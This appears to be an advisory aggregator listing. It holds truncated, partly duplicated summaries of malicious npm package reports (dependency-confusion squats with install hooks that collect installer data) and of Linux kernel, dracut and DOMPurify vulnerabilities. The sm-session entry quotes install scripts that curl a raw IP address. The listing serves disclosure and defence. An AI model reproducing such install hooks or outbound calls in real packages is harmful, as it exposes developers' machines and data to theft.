Malicious code in @gsas/gsas-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2242b683433d5fe37b3997185d251799a4606a456e516da08586775d11f0cb7e @gsas/[email protected] is a high-version public-registry squat targeting an internal @gsas/gsas-sdk name. package.json declares preinstall: node...

MAL-2026-14420 Malicious code in @gsas/gsas-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2242b683433d5fe37b3997185d251799a4606a456e516da08586775d11f0cb7e @gsas/[email protected] is a high-version public-registry squat targeting an internal @gsas/gsas-sdk name. package.json declares preinstall: node...

Astra Linux – Vulnerability in Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: sunrpc: The lifecycle of rqprocinfo has been hardened to prevent double-free operations. The svcreleaserqst function executes the callback within rqstp-rqprocinfo-pcrelease. However, if a worker thread begins processing a new...

Astra Linux – Vulnerability in Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: netfilter: nftfib: A fib expression in the netdev egress hook is rejected. A fib expression in the netdev egress base chain dereferences nftinpkt on the transmit path, resulting in a NULL pointer dereference during evaluation...

Astra Linux – Vulnerability in Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: BPF: Resetting the register bounds before narrowing the RETVAL range in checkmemaccess When the BPF verifier processes a context load of an LSM hook return value, it calls markregs32range to narrow the register to the hook’s vali...

Malicious code in amundi-compare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...

MAL-2026-14390 Malicious code in amundi-compare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...

MiracleLinux 9 : dracut-057-120.git20260728.el9_8 (AXSA:2026-1634:06)

The remote MiracleLinux 9 host has packages installed that are affected by a vulnerability as referenced in the AXSA:2026-1634:06 advisory. dracut: dracut: root code execution via unescaped error message written to sourced emergency hook script in die CVE-2026-15816 Tenable has extracted the...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

MAL-2026-14370 Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

MAL-2026-14372 Malicious code in create-coin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d92da1d80f455caae769107e4b3ff99c003a296f1238728cfc5521d5be06c380 Package [email protected] registers a postinstall hook that runs build/payload.node.js during npm install. The script performs anti-analysis guards...

Malicious code in create-coin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d92da1d80f455caae769107e4b3ff99c003a296f1238728cfc5521d5be06c380 Package [email protected] registers a postinstall hook that runs build/payload.node.js during npm install. The script performs anti-analysis guards...

Malicious code in stillm4ddpocs-rtest-alpha (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47545f800dcb07213863afb8beab283755fb596ea7d5d478b60e4ff449453839 package.json declares a preinstall hook that runs index.js on npm install. index.js collects the installer's local IPv4, public IP via...

MAL-2026-14377 Malicious code in stillm4ddpocs-rtest-alpha (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47545f800dcb07213863afb8beab283755fb596ea7d5d478b60e4ff449453839 package.json declares a preinstall hook that runs index.js on npm install. index.js collects the installer's local IPv4, public IP via...

AZL-97362 CVE-2026-74592 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

dompurify: DOMPurify: Sanitization bypass via hook manipulation

A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and...

dompurify: DOMPurify: Sanitization bypass via hook manipulation

A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and...

MAL-2026-14356 Malicious code in lumen-pages-community (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7c1d6b7b99791f7bbd5999021f109bef569a6c681eda0bb6196b459b12a3808 [email protected] declares a postinstall hook node dc.js that runs automatically on npm install. dc.js collects the installer's hostname,...

Malicious code in lumen-pages-community (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7c1d6b7b99791f7bbd5999021f109bef569a6c681eda0bb6196b459b12a3808 [email protected] declares a postinstall hook node dc.js that runs automatically on npm install. dc.js collects the installer's hostname,...